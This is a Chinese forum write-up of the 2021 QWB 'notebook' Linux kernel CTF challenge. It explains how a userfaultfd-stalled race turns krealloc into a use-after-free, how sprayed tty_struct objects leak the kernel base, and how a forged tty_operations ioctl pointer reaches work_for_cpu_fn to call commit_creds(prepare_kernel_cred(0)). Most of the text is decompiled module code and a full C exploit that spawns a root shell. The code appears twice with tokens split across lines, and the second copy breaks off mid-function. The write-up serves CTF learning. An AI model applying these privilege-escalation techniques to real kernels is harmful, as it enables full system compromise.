-
-
[原创]强网杯线上赛Linux内核Pwn之notebook
-
发表于: 2021-7-14 19:58 11606
-
刚刚从强网杯的线下赛回来,想整理一下这届强网杯我觉得不错的一些题or思路。
缓解:kaslr,smep,smap
额外加固:slab hardened
之前发现了一个从bzImage中提取vmlinux并恢复部分符号的脚本,还不错:
https://github.com/marin-m/vmlinux-to-elf
本篇文章讲解的利用思路是依据线上赛冠军队 @长亭科技 的WP,感觉比我自己的要稳定和便利很多。
Step1:
首先我们多次打开ptmx结构体,在打开的时候会在 alloc_tty_struct
函数中调用 tty = kzalloc(sizeof(*tty), GFP_KERNEL);
分配空间(大小0x2e0),对应的是 kmalloc-1024
。
Step2:
然后系统会将tty struct中的struct tty_operations
初始为全局内核变量 ptm_unix98_ops
,它是可以从 /proc/kallsyms
中获取相应地址/偏移。
Step3:
之后将喷射后的tty struct通过close给free出去。然后调用noteedit调整note大小到0x2e0,申请多个0x2e0的note,那么就会把我们free出去的tty struct拿回来。输出 ((uint64_t *)note)[3]
位置的值减去偏移即可泄漏kernel base。
我们把目光放在两个用了读锁的函数。发现:
于是这就产生了一个问题,如果将 user_buf
设置为一个为没有初始化的内存区域。并且不在userfault中起额外的handler做内存恢复。那么这两个函数就会一直卡在copy_from_user之前。
而krealloc又可以产生一个free操作,也就是说现在我们可以通过userfault来制造出一个任意大小的UAF。(因为被卡住的thread无法执行copy_from_user之后的更新notelist中相关地址的代码)
Step1:
首先我们注册自己的userfaultfd,监控一块未初始化的内存,而在add和edit的时候由于其只拿了读写锁中的读锁,而不是互斥的写锁,那么这两个函数其实是可以并发的。我们注意到在noteedit和noteadd中都有 copy_from_user(name, user_buf, 0x100LL);
这个从用户态的 user_buf
拷贝的操作,那么我们设置user_buf为mmap后未初始化的内存,在这里触发userfault,当缺页发生时,程序会阻塞掉。我们将notelist填满0x2e0大小的chunk,然后开启0x10个edit线程,0x10个add线程。通过edit线程krealloc对应note为一个很大的size ,此时会触发krealloc的kfree,将我们0x2e0的chunk进行free操作(但此时由于线程被卡在copy_from_user,notelist中的addr并没有被修改,仍是已经free后的chunk addr,但size此时变成了一个极大值,这里就是UAF的位置);接下来喷射大量的 tty_struct
把我们free chunk中填成tty_struct。然后通过add线程修改notelist中的chunksize为正常大小以通过 __check_object_size
的检查。
Step2:
第一步结束之后,notelist上的一些note已经被放置成了tty_struct
,我们通过read操作读取对应的notelist上的tty_struct
中的成员,泄漏kernel base(参见思路一,实际情况下这里可能是ptm_unix98_ops或者pty_unix98_ops)
Step3:
接下来,我们通过伪造一个fake_tty_ops放到notelist的其中项,在fake ops中,我们让ioctl函数指向 work_for_cpu_fn
。
这个函数是一个很好用的函数,其实做的事情非常简单,调用了 (a1+32),参数为 *(a1+40) ,返回值放在 (a1+48)的位置。配合我们的tty_struct。a1就指向notelist上之前race+UAF得到的tty_struct,然后伪造这个tty_struct 在偏移为32处的值为想调用的函数,40处的值为参数。返回值会被放在48的位置。
我们只需要布置出:
即可。刚好这两个函数调用都只有一个参数,并且第二次调用使用了第一次调用的返回值。这些我们都可以控制。(节省了ROP的过程)
最后,针对ptmx调用ioctl函数,即可通过触发 work_for_cpu_fn
调用 commit_creds(prepare_kernel_cred(0))
效果:
__int64 __fastcall mynote_ioctl(
file
*
file
, unsigned
int
cmd, unsigned __int64 arg)
{
__int64 v3;
/
/
rdx
userarg notearg;
/
/
[rsp
+
0h
] [rbp
-
28h
]
_fentry__(
file
);
copy_from_user(¬earg, v3,
0x18LL
);
if
( cmd
=
=
0x100
)
return
noteadd(notearg.idx, notearg.size, notearg.buf);
if
( cmd <
=
0x100
)
{
if
( cmd
=
=
0x64
)
return
notegift(notearg.buf);
}
else
{
if
( cmd
=
=
0x200
)
return
notedel(notearg.idx);
if
( cmd
=
=
0x300
)
return
noteedit(notearg.idx, notearg.size, notearg.buf);
}
printk(
"[x] Unknown ioctl cmd!\n"
, notearg.size);
return
-
100LL
;
}
__int64 __fastcall mynote_ioctl(
file
*
file
, unsigned
int
cmd, unsigned __int64 arg)
{
__int64 v3;
/
/
rdx
userarg notearg;
/
/
[rsp
+
0h
] [rbp
-
28h
]
_fentry__(
file
);
copy_from_user(¬earg, v3,
0x18LL
);
if
( cmd
=
=
0x100
)
return
noteadd(notearg.idx, notearg.size, notearg.buf);
if
( cmd <
=
0x100
)
{
if
( cmd
=
=
0x64
)
return
notegift(notearg.buf);
}
else
{
if
( cmd
=
=
0x200
)
return
notedel(notearg.idx);
if
( cmd
=
=
0x300
)
return
noteedit(notearg.idx, notearg.size, notearg.buf);
}
printk(
"[x] Unknown ioctl cmd!\n"
, notearg.size);
return
-
100LL
;
}
__int64 __fastcall noteadd(size_t idx, size_t my_size, void
*
buf)
{
__int64 v3;
/
/
rdx
__int64 user_buf;
/
/
r13
note
*
entry;
/
/
rbx
size_t orgisize;
/
/
r14
__int64 ret;
/
/
rbx
_fentry__(idx);
if
( idx >
0xF
)
/
/
无法对
0x10
进行add
{
ret
=
-
1LL
;
printk(
"[x] Add idx out of range.\n"
, my_size);
}
else
/
/
idx不越界的话
{
user_buf
=
v3;
entry
=
¬ebook[idx];
raw_read_lock(&lock);
/
/
读锁
orgisize
=
entry
-
>size;
/
/
首先保存原有的size(如果对应的idx中本来就有信息)
entry
-
>size
=
my_size;
/
/
赋值为新size
if
( my_size >
0x60
)
/
/
如果超过
0x60
,恢复size,ret
{
entry
-
>size
=
orgisize;
ret
=
-
2LL
;
printk(
"[x] Add size out of range.\n"
, my_size);
}
else
/
/
size<
=
0x60
为合法的size
{
copy_from_user(name, user_buf,
0x100LL
);
if
( entry
-
>note )
/
/
如果note存在的话,恢复size,ret
{
entry
-
>size
=
orgisize;
ret
=
-
3LL
;
printk(
"[x] Add idx is not empty.\n"
, user_buf);
}
else
/
/
如果note不存在,此时可以正常进行添加
{
entry
-
>note
=
_kmalloc(my_size,
0x24000C0LL
);
printk(
"[+] Add success. %s left a note.\n"
, name);
ret
=
0LL
;
}
}
raw_read_unlock(&lock);
}
return
ret;
}
__int64 __fastcall noteadd(size_t idx, size_t my_size, void
*
buf)
{
__int64 v3;
/
/
rdx
__int64 user_buf;
/
/
r13
note
*
entry;
/
/
rbx
size_t orgisize;
/
/
r14
__int64 ret;
/
/
rbx
_fentry__(idx);
if
( idx >
0xF
)
/
/
无法对
0x10
进行add
{
ret
=
-
1LL
;
printk(
"[x] Add idx out of range.\n"
, my_size);
}
else
/
/
idx不越界的话
{
user_buf
=
v3;
entry
=
¬ebook[idx];
raw_read_lock(&lock);
/
/
读锁
orgisize
=
entry
-
>size;
/
/
首先保存原有的size(如果对应的idx中本来就有信息)
entry
-
>size
=
my_size;
/
/
赋值为新size
if
( my_size >
0x60
)
/
/
如果超过
0x60
,恢复size,ret
{
entry
-
>size
=
orgisize;
ret
=
-
2LL
;
printk(
"[x] Add size out of range.\n"
, my_size);
}
else
/
/
size<
=
0x60
为合法的size
{
copy_from_user(name, user_buf,
0x100LL
);
if
( entry
-
>note )
/
/
如果note存在的话,恢复size,ret
{
entry
-
>size
=
orgisize;
ret
=
-
3LL
;
printk(
"[x] Add idx is not empty.\n"
, user_buf);
}
else
/
/
如果note不存在,此时可以正常进行添加
{
entry
-
>note
=
_kmalloc(my_size,
0x24000C0LL
);
printk(
"[+] Add success. %s left a note.\n"
, name);
ret
=
0LL
;
}
}
raw_read_unlock(&lock);
}
return
ret;
}
__int64 __fastcall noteedit(size_t idx, size_t newsize, void
*
buf)
{
__int64 buf_1;
/
/
rdx
__int64 user_buf;
/
/
r13
note
*
entry;
/
/
rbx
size_t orgisize;
/
/
rax
__int64 addr;
/
/
r12
__int64 ret;
/
/
rbx
_fentry__(idx);
if
( idx >
0xF
)
/
/
无法对
0x10
进行edit
{
ret
=
-
1LL
;
printk(
"[x] Edit idx out of range.\n"
, newsize);
return
ret;
}
user_buf
=
buf_1;
entry
=
¬ebook[idx];
raw_read_lock(&lock);
/
/
读锁
orgisize
=
entry
-
>size;
/
/
保存原本的size
entry
-
>size
=
newsize;
/
/
先把newsize赋值过去
if
( orgisize
=
=
newsize )
{
ret
=
1LL
;
goto editout;
}
addr
=
(
*
krealloc.gap0)(entry
-
>note, newsize,
0x24000C0LL
);
/
/
free掉本来的chunk,然后申请新的chunk
copy_from_user(name, user_buf,
0x100LL
);
/
/
从第三个参数user_buf拷贝数据,如果此时userbuf没有初始化调入内存,那么会触发userfaultfd
if
( !entry
-
>size )
/
/
如果新的size为
0
,等价于kfree(entry
-
>note)
{
printk(
"free in fact"
, user_buf);
entry
-
>note
=
0LL
;
ret
=
0LL
;
goto editout;
}
if
( _virt_addr_valid(addr) )
/
/
如果是有效地址的话
{
entry
-
>note
=
addr;
/
/
这里只用更新addr,因为size已经在前面更新过了
ret
=
2LL
;
editout:
raw_read_unlock(&lock);
printk(
"[o] Edit success. %s edit a note.\n"
, name);
return
ret;
}
printk(
"[x] Return ptr unvalid.\n"
, user_buf);
raw_read_unlock(&lock);
return
3LL
;
}
__int64 __fastcall noteedit(size_t idx, size_t newsize, void
*
buf)
{
__int64 buf_1;
/
/
rdx
__int64 user_buf;
/
/
r13
note
*
entry;
/
/
rbx
size_t orgisize;
/
/
rax
__int64 addr;
/
/
r12
__int64 ret;
/
/
rbx
_fentry__(idx);
if
( idx >
0xF
)
/
/
无法对
0x10
进行edit
{
ret
=
-
1LL
;
printk(
"[x] Edit idx out of range.\n"
, newsize);
return
ret;
}
user_buf
=
buf_1;
entry
=
¬ebook[idx];
raw_read_lock(&lock);
/
/
读锁
orgisize
=
entry
-
>size;
/
/
保存原本的size
entry
-
>size
=
newsize;
/
/
先把newsize赋值过去
if
( orgisize
=
=
newsize )
{
ret
=
1LL
;
goto editout;
}
addr
=
(
*
krealloc.gap0)(entry
-
>note, newsize,
0x24000C0LL
);
/
/
free掉本来的chunk,然后申请新的chunk
copy_from_user(name, user_buf,
0x100LL
);
/
/
从第三个参数user_buf拷贝数据,如果此时userbuf没有初始化调入内存,那么会触发userfaultfd
if
( !entry
-
>size )
/
/
如果新的size为
0
,等价于kfree(entry
-
>note)
{
printk(
"free in fact"
, user_buf);
entry
-
>note
=
0LL
;
ret
=
0LL
;
goto editout;
}
if
( _virt_addr_valid(addr) )
/
/
如果是有效地址的话
{
entry
-
>note
=
addr;
/
/
这里只用更新addr,因为size已经在前面更新过了
ret
=
2LL
;
editout:
raw_read_unlock(&lock);
printk(
"[o] Edit success. %s edit a note.\n"
, name);
return
ret;
}
printk(
"[x] Return ptr unvalid.\n"
, user_buf);
raw_read_unlock(&lock);
return
3LL
;
}
__int64 __fastcall notegift(void
*
buf)
{
__int64 v1;
/
/
rsi
_fentry__(buf);
printk(
"[*] The notebook needs to be written from beginning to end.\n"
, v1);
copy_to_user(buf, notebook,
0x100LL
);
printk(
"[*] For this special year, I give you a gift!\n"
, notebook);
return
100LL
;
}
__int64 __fastcall notegift(void
*
buf)
{
__int64 v1;
/
/
rsi
_fentry__(buf);
printk(
"[*] The notebook needs to be written from beginning to end.\n"
, v1);
copy_to_user(buf, notebook,
0x100LL
);
printk(
"[*] For this special year, I give you a gift!\n"
, notebook);
return
100LL
;
}
ssize_t __fastcall mynote_write(
file
*
file
, const char
*
user_buf, size_t idx, loff_t
*
pos)
{
unsigned __int64 idx_1;
/
/
rdx
unsigned __int64 index;
/
/
rdx
size_t nbytes;
/
/
r13
void
*
addr;
/
/
rbx
ssize_t result;
/
/
rax
_fentry__(
file
);
if
( idx_1 >
0x10
)
{
printk(
"[x] Write idx out of range.\n"
, user_buf);
result
=
-
1LL
;
}
else
{
index
=
idx_1;
nbytes
=
notebook[index].size;
addr
=
notebook[index].note;
_check_object_size(addr, nbytes,
0LL
);
if
( copy_from_user(addr, user_buf, nbytes) )
{
printk(
"[x] copy from user error.\n"
, user_buf);
result
=
0LL
;
}
else
{
printk(
"[*] Write success.\n"
, user_buf);
result
=
0LL
;
}
}
return
result;
}
ssize_t __fastcall mynote_write(
file
*
file
, const char
*
user_buf, size_t idx, loff_t
*
pos)
{
unsigned __int64 idx_1;
/
/
rdx
unsigned __int64 index;
/
/
rdx
size_t nbytes;
/
/
r13
void
*
addr;
/
/
rbx
ssize_t result;
/
/
rax
_fentry__(
file
);
if
( idx_1 >
0x10
)
{
printk(
"[x] Write idx out of range.\n"
, user_buf);
result
=
-
1LL
;
}
else
{
index
=
idx_1;
nbytes
=
notebook[index].size;
addr
=
notebook[index].note;
_check_object_size(addr, nbytes,
0LL
);
if
( copy_from_user(addr, user_buf, nbytes) )
{
printk(
"[x] copy from user error.\n"
, user_buf);
result
=
0LL
;
}
else
{
printk(
"[*] Write success.\n"
, user_buf);
result
=
0LL
;
}
}
return
result;
}
ssize_t __fastcall mynote_read(
file
*
file
, char
*
user_buf, size_t idx, loff_t
*
pos)
{
unsigned __int64 idx_1;
/
/
rdx
unsigned __int64 index;
/
/
rdx
size_t nbytes;
/
/
r13
void
*
addr;
/
/
rbx
ssize_t result;
/
/
rax
_fentry__(
file
);
if
( idx_1 >
0x10
)
/
/
可以read
0x10
{
printk(
"[x] Read idx out of range.\n"
, user_buf);
result
=
-
1LL
;
}
else
/
/
可以读取
0x10
处的内容
{
index
=
idx_1;
nbytes
=
notebook[index].size;
addr
=
notebook[index].note;
_check_object_size(addr, nbytes,
1LL
);
copy_to_user(user_buf, addr, nbytes);
printk(
"[*] Read success.\n"
, addr);
result
=
0LL
;
}
return
result;
}
ssize_t __fastcall mynote_read(
file
*
file
, char
*
user_buf, size_t idx, loff_t
*
pos)
{
unsigned __int64 idx_1;
/
/
rdx
unsigned __int64 index;
/
/
rdx
size_t nbytes;
/
/
r13
void
*
addr;
/
/
rbx
ssize_t result;
/
/
rax
_fentry__(
file
);
if
( idx_1 >
0x10
)
/
/
可以read
0x10
{
printk(
"[x] Read idx out of range.\n"
, user_buf);
result
=
-
1LL
;
}
else
/
/
可以读取
0x10
处的内容
{
index
=
idx_1;
nbytes
=
notebook[index].size;
addr
=
notebook[index].note;
_check_object_size(addr, nbytes,
1LL
);
copy_to_user(user_buf, addr, nbytes);
printk(
"[*] Read success.\n"
, addr);
result
=
0LL
;
}
return
result;
}
__int64 __fastcall work_for_cpu_fn(_QWORD
*
a1)
{
_QWORD
*
v1;
/
/
rbx
__int64 (
*
v2)(void);
/
/
rax
__int64 v3;
/
/
rdi
__int64 result;
/
/
rax
_fentry__(a1);
v1
=
a1;
v2
=
a1[
4
];
/
/
a1
+
32
v3
=
a1[
5
];
/
/
a1
+
40
result
=
_x86_indirect_thunk_rax(v2);
v1[
6
]
=
result;
/
/
a1
+
48
return
result;
}
__int64 __fastcall work_for_cpu_fn(_QWORD
*
a1)
{
_QWORD
*
v1;
/
/
rbx
__int64 (
*
v2)(void);
/
/
rax
__int64 v3;
/
/
rdi
__int64 result;
/
/
rax
_fentry__(a1);
v1
=
a1;
v2
=
a1[
4
];
/
/
a1
+
32
v3
=
a1[
5
];
/
/
a1
+
40
result
=
_x86_indirect_thunk_rax(v2);
v1[
6
]
=
result;
/
/
a1
+
48
return
result;
}
commit_creds(prepare_kernel_cred(
0
))
commit_creds(prepare_kernel_cred(
0
))
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <pty.h>
#include <linux/tty.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include<stdint.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "helper.h"
#include <semaphore.h>
#define N 256
#define ADD 0x100
#define LEAK 100
#define DEL 0x200
#define EDIT 0x300
#define TTY_STRUCT_SIZE 0x2E0
#define PAGE_SIZE (1 << 12)
char
*
mod_path
=
"/dev/notebook"
;
size_t mod_addr;
static
int
fd;
static
int
fd2;
static
int
ptmx_fd[
0x100
];
int
exit_flag
=
0
;
size_t kernel_base
=
0
;
size_t kernel_offset
=
0
;
static
int
flag
=
0
;
char buf[
0x2000
];
char read_buf[
0x2000
];
char
buffer
[
0x1000
];
void
*
stuck
=
(void
*
)FAULT_PAGE;
/
/
addr trigger fault
size_t victim_id;
typedef struct arg{
uint64_t idx;
uint64_t size;
void
*
buf;
}Notearg;
size_t get_addr(char
*
name){
char t1[N];
FILE
*
f;
size_t info;
f
=
fopen(
"/tmp/moduleaddr"
,
"r"
);
if
(!f){
printf(
"fopen error!\n"
);
exit(
-
1
);
}
fscanf(f,
"%s%d%d%s%s%lx"
,t1,t1,t1,t1,t1,&info);
/
/
printf(
"%s : %lx\n"
,name,info);
fclose(f);
return
info;
}
Notearg constructor(
int
fd , uint64_t idx,uint64_t size,void
*
buf)
{
unsigned
int
cmd
=
ADD;
Notearg arg
=
{
.idx
=
idx,
.size
=
size,
.buf
=
buf,
};
int
ret_val
=
ioctl(fd,cmd,(uint64_t)&arg);
if
(ret_val <
0
){
/
/
printf(
"constructor failed [id] %d\n"
,fd);
exit(
-
1
);
}
/
/
printf(
"[*] constructor success, note id: 0x%x\n"
,idx);
return
arg;
/
/
return
arg;
}
void leak(
int
fd,Notearg
*
ptr)
{
unsigned
int
cmd
=
LEAK;
int
ret
=
ioctl(fd,cmd,(uint64_t)ptr);
}
__attribute__((constructor)) static void Init ( void )
{
setvbuf(stdin,
0
,
2
,
0
);
setvbuf(stdout,
0
,
2
,
0
);
setvbuf(stderr,
0
,
2
,
0
);
mod_addr
=
get_addr(
"notebook"
);
printf(
"[+] notebook load addr:0x%lx\n"
,mod_addr);
}
int
noteedit(
int
fd , uint64_t idx,uint64_t newsize,void
*
buf)
{
unsigned
int
cmd
=
EDIT;
Notearg arg
=
{
.idx
=
idx,
.size
=
newsize,
.buf
=
buf,
};
int
ret_val
=
ioctl(fd, cmd, (uint64_t)&arg);
/
/
printf(
"[ret] %d realloc new size:0x%lx\n"
,ret_val,newsize);
return
0
;
}
int
notefree(
int
fd,
int
idx)
{
int
ret;
unsigned
int
cmd
=
DEL;
Notearg arg
=
{
.idx
=
idx,
};
ret
=
ioctl(fd,cmd,(uint64_t)&arg);
if
(ret<
0
){printf(
"[ret] %d [index] %d free failed"
,ret,idx);}
/
/
printf(
"[id] %d free success\n"
,idx);
};
void shell(){
system(
"/bin/sh"
);
}
void dump(Notearg arg){
leak(fd, &arg);
for
(
int
j,i
=
0
;i<
0x10
*
2
;i
=
i
+
2
){
j
=
i
+
1
;
printf(
"[--dump--] 0x%lx\t0x%lx\n"
,((uint64_t
*
)(&arg)
-
>buf)[i], ((uint64_t
*
)(&arg)
-
>buf)[j]);
}
}
sem_t add;sem_t edit;
void
*
evil_thread_noteadd(void
*
arg){
sem_wait(&add);
/
/
printf(
"[+] evil_thread_noteadd\n"
);
constructor(fd,(
int
)arg,
0x60
,stuck);
/
/
trigger our userfaultfd
return
NULL;
}
void
*
evil_thread_noteedit(void
*
arg){
sem_wait(&edit);
/
/
printf(
"[+] evil_thread_noteedit\n"
);
noteedit(fd,(
int
)arg,
0x2000
, stuck);
/
/
trigger our userfaultfd
return
NULL;
}
void
*
handler(void
*
arg){
struct uffd_msg msg;
unsigned
long
uffd
=
(unsigned
long
)arg;
puts(
"[+] leak_handler created"
);
/
/
getchar();
sleep(
3
);
/
/
休眠一下,留给子进程足够时间操作
puts(
"[+] restore stuck begin"
);
struct pollfd pollfd;
int
nready;
pollfd.fd
=
uffd;
pollfd.events
=
POLLIN;
/
/
poll会阻塞,直到收到缺页错误的消息
nready
=
poll(&pollfd,
1
,
-
1
);
if
(nready !
=
1
)
puts(
"[-] Wrong pool return value"
);
nready
=
read(uffd, &msg, sizeof(msg));
if
(nready <
=
0
) {
puts(
"[-]msg error!!"
);
}
char
*
page
=
(char
*
)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS,
-
1
,
0
);
if
(page
=
=
MAP_FAILED)
puts(
"[-]mmap page error!!"
);
struct uffdio_copy uc;
/
/
初始化page页
memset(page,
0
, sizeof(page));
uc.src
=
(unsigned
long
)page;
/
/
出现缺页的位置
uc.dst
=
(unsigned
long
)msg.arg.pagefault.address & ~(PAGE_SIZE
-
1
);;
uc.
len
=
PAGE_SIZE;
uc.mode
=
0
;
uc.copy
=
0
;
/
/
复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
/
/
然而,我们在阻塞的这段时间,堆
0
的内容已经是tty_struct结构
/
/
因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态
ioctl(uffd, UFFDIO_COPY, &uc);
puts(
"[+] handler done!!"
);
return
NULL;
}
/
/
read stuct (trigger)
-
> child process free & spray
-
> userfault_handler restore stuck
-
> read
from
stuck
int
main()
{
signal(SIGSEGV, shell);
save_status();
set_cpu_affinity();
memset(buf,
0
,sizeof(buf));
memset(read_buf,
0
,sizeof(read_buf));
printf(
"[+] buf addr:%p\n"
,buf);
fd
=
open
(mod_path,O_RDWR);
if
(fd <
0
){perror(
"[-] fd open failed"
);exit(
-
1
);}
fd2
=
open
(mod_path,O_RDWR);
if
(fd2 <
0
){perror(
"[-] fd2 open failed"
);exit(
-
1
);}
sem_init(&edit,
0
,
0
);
/
/
初始化信号量
sem_init(&add,
0
,
0
);
register_userfault(handler);
/
/
注册新的userfault,监视:void
*
stuck
=
(void
*
)FAULT_PAGE;
Notearg arg
=
constructor(fd ,
0
,
0x60
,buf);
for
(
int
i
=
0
;i<
0x10
;i
+
+
){
noteedit(fd,i,TTY_STRUCT_SIZE,buf);
}
/
/
dump(arg);
sleep(
1
);
pthread_t edit_thread;
pthread_t add_thread;
for
(
int
index
=
0
;index<
0x10
;index
+
+
){
if
(pthread_create(&edit_thread,NULL,evil_thread_noteedit,(void
*
)index)){
perror(
"pthread_create() failed"
);
exit(
-
1
);
}
}
printf(
"[+] 0x10 edit_threads are set-up : | \n"
);
for
(
int
i
=
0
;i<
0x10
;i
+
+
){
sem_post(&edit);
}
printf(
"[+] 0x10 edit_threads launch : ) \n"
);
sleep(
1
);
/
/
此时我们原本申请的多个
0x2e0
的chunk已经被krealloc free掉,但是由于krealloc后的copy_from_user触发了userfault,导致线程一直被卡住,不会更新notelist上的entry
/
/
接下来我们喷射大量的 tty_truct 希望可以将tty_struct喷射到刚刚free掉的chunk中。
for
(
int
i
=
0
;i<
0x100
;i
+
+
){
ptmx_fd[i]
=
open
(
"/dev/ptmx"
,
1
);
if
(ptmx_fd[i]<
=
0
){printf(
"open ptmx failed\n"
);}
}
printf(
"[+] spray 0x100 tty success : )\n"
);
/
/
dump(arg);
/
/
getchar();
sleep(
1
);
for
(
int
index
=
0
;index<
0x10
;index
+
+
){
if
(pthread_create(&add_thread,NULL,evil_thread_noteadd,(void
*
)index)){
perror(
"pthread_create() failed"
);
exit(
-
1
);
}
}
printf(
"[+] 0x10 add_threads are set-up : | \n"
);
for
(
int
i
=
0
;i<
0x10
;i
+
+
){
sem_post(&add);
}
printf(
"[+] 0x10 add_threads launch : ) \n"
);
sleep(
1
);
/
/
dump(arg);
/
/
getchar();
for
(
int
i
=
0
;i<
0x10
;i
+
+
){
read(fd,read_buf,i);
if
((((size_t
*
)read_buf)[
3
]&
0xfff
)
=
=
0x320
){
puts(
"[*] detect pty_unix98_ops success : )"
);
victim_id
=
i;
printf(
"[*] victim id:%d\n"
,victim_id);
kernel_base
=
((uint64_t
*
)read_buf)[
3
]
-
0xe8e320
;
kernel_offset
=
get_kernel_offset(kernel_base);
break
;
}
if
((((size_t
*
)read_buf)[
3
]&
0xfff
)
=
=
0x440
){
puts(
"[*] detect ptm_unix98_ops success : )"
);
victim_id
=
i;
printf(
"[*] victim id:%d\n"
,victim_id);
kernel_base
=
((uint64_t
*
)read_buf)[
3
]
-
0xe8e440
;
kernel_offset
=
get_kernel_offset(kernel_base);
break
;
}
}
if
(kernel_base
=
=
0
|| (kernel_base &
0xfff
)!
=
0
){puts(
"[-] leak kernel base failed"
);exit(
0
);}
printf(
"[+] kernel base:%#lx\n"
,kernel_base);
printf(
"[+] kernel offset:%#lx\n"
,kernel_offset);
size_t prepare_kernel_cred
=
0xffffffff810a9ef0
+
kernel_offset;
size_t commit_creds
=
0xffffffff810a9b40
+
kernel_offset;
size_t work_for_cpu_fn
=
0xffffffff8109eb90
+
kernel_offset;
printf(
"[+] prepare_kernel_cred:%#lx\n"
,prepare_kernel_cred);
printf(
"[+] commit_creds:%#lx\n"
,commit_creds);
printf(
"[+] work_for_cpu_fn:%#lx\n"
,work_for_cpu_fn);
/
*
接下来生成fake ops
*
/
void
*
fake_tty_ops
=
malloc(sizeof(struct tty_operations));
printf(
"[+] %p\n"
,fake_tty_ops);
noteedit(fd,
8
,sizeof(struct tty_operations),buf);
/
/
将fake ops放到
0x8
的chunk
dump(arg);
((struct tty_operations
*
)fake_tty_ops)
-
>ioctl
=
work_for_cpu_fn;
write(fd,fake_tty_ops,
8
);
/
/
将fake ops的ioctl改成work_for_cpu_fn
uint64_t target_ops,target_tty_struct;
leak(fd, &arg);
for
(
int
j,i
=
0
;i<
0x10
*
2
;i
=
i
+
2
){
j
=
i
+
1
;
/
/
printf(
"[--dump--] 0x%lx\t0x%lx\n"
,((uint64_t
*
)(&arg)
-
>buf)[i], ((uint64_t
*
)(&arg)
-
>buf)[j]);
if
(((uint64_t
*
)(&arg)
-
>buf)[j]
=
=
0x100
){
target_ops
=
((uint64_t
*
)(&arg)
-
>buf)[i];
}
if
(i
=
=
victim_id){
target_tty_struct
=
((uint64_t
*
)(&arg)
-
>buf)[i];
}
}
printf(
"[+] target_tty_struct:%#lx\n"
,target_tty_struct);
/
/
我们要攻击的tty struct地址
printf(
"[+] target_ops:%#lx\n"
,target_ops);
/
/
我们把fake ops放在了哪里
read(fd,
buffer
,victim_id);
uint64_t ori_val_at_offset_48;
/
/
调用ptmx的ioctl触发prepare_kernel_cred,因为ioctl第一个参数指向其本身(tty struct)
ori_val_at_offset_48
=
*
(uint64_t
*
)(
buffer
+
48
);
/
/
因为后续的操作会破坏这里的值,所以我们首先保存一下
*
(uint64_t
*
)(
buffer
+
24
)
=
target_ops;
/
/
const struct tty_operations
*
ops;
*
(uint64_t
*
)(
buffer
+
32
)
=
prepare_kernel_cred;
/
/
prepare_kernel_cred(
0
);
*
(uint64_t
*
)(
buffer
+
40
)
=
0
;
/
/
第一个参数
write(fd,
buffer
,victim_id);
int
ret;
printf(
"[+] Trigger prepare_kernel_cred()\n"
);
/
/
0xffffffff815b9f70
<pty_unix98_ioctl>:
for
(
int
i
=
0
;i<
0x100
;i
+
+
){
ret
=
ioctl(ptmx_fd[i],
233
,
233
);
}
sleep(
2
);
uint64_t ret_val_at_offset_48;
read(fd,
buffer
,victim_id);
ret_val_at_offset_48
=
*
(uint64_t
*
)(
buffer
+
48
);
/
/
从偏移为
48
的位置获取返回值
printf(
"[+] buffer addr: %p\n"
,
buffer
);
getchar();
printf(
"[+] Return by prepare_kernel_cred():%#lx\n"
,ret_val_at_offset_48);
*
(uint64_t
*
)(
buffer
+
32
)
=
commit_creds;
/
/
commit_creds
*
(uint64_t
*
)(
buffer
+
40
)
=
ret_val_at_offset_48;
/
/
第一个参数为prepare_kernel_cred(
0
)的返回值
*
((uint64_t
*
)
buffer
+
48
)
=
ori_val_at_offset_48;
/
/
restore offset
48
write(fd,
buffer
,victim_id);
/
/
getchar();
printf(
"[+] Trigger commit_creds()\n"
);
for
(
int
i
=
0
;i<
0x100
;i
+
+
){
ret
=
ioctl(ptmx_fd[i],
233
,
233
);
}
printf(
"[+] getuid() = %d\n"
,getuid());
if
(getuid()
=
=
0
){
printf(
"\n\n[*] Pwned by ScUpax0s!\n"
);
shell();
}
else
{
printf(
"[-] Privileged fail\n"
);
exit(
0
);
}
getchar();
close(fd);
close(fd2);
return
0
;
}
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <pty.h>
#include <linux/tty.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include<stdint.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include "helper.h"
#include <semaphore.h>
#define N 256
#define ADD 0x100
#define LEAK 100
#define DEL 0x200
#define EDIT 0x300
#define TTY_STRUCT_SIZE 0x2E0
#define PAGE_SIZE (1 << 12)
char
*
mod_path
=
"/dev/notebook"
;
size_t mod_addr;
static
int
fd;
static
int
fd2;
static
int
ptmx_fd[
0x100
];
int
exit_flag
=
0
;
size_t kernel_base
=
0
;
size_t kernel_offset
=
0
;
static
int
flag
=
0
;
char buf[
0x2000
];
char read_buf[
0x2000
];
char
buffer
[
0x1000
];
void
*
stuck
=
(void
*
)FAULT_PAGE;
/
/
addr trigger fault
size_t victim_id;
typedef struct arg{
uint64_t idx;
uint64_t size;
void
*
buf;
}Notearg;
size_t get_addr(char
*
name){
char t1[N];
FILE
*
f;
size_t info;
f
=
fopen(
"/tmp/moduleaddr"
,
"r"
);
if
(!f){
printf(
"fopen error!\n"
);
exit(
-
1
);
}
fscanf(f,
"%s%d%d%s%s%lx"
,t1,t1,t1,t1,t1,&info);
/
/
printf(
"%s : %lx\n"
,name,info);
fclose(f);
return
info;
}
Notearg constructor(
int
fd , uint64_t idx,uint64_t size,void
*
buf)
{
unsigned
int
cmd
=
ADD;
Notearg arg
=
{
.idx
=
idx,
.size
=
size,
.buf
=
buf,
};
int
ret_val
=
ioctl(fd,cmd,(uint64_t)&arg);
if
(ret_val <
0
){
/
/
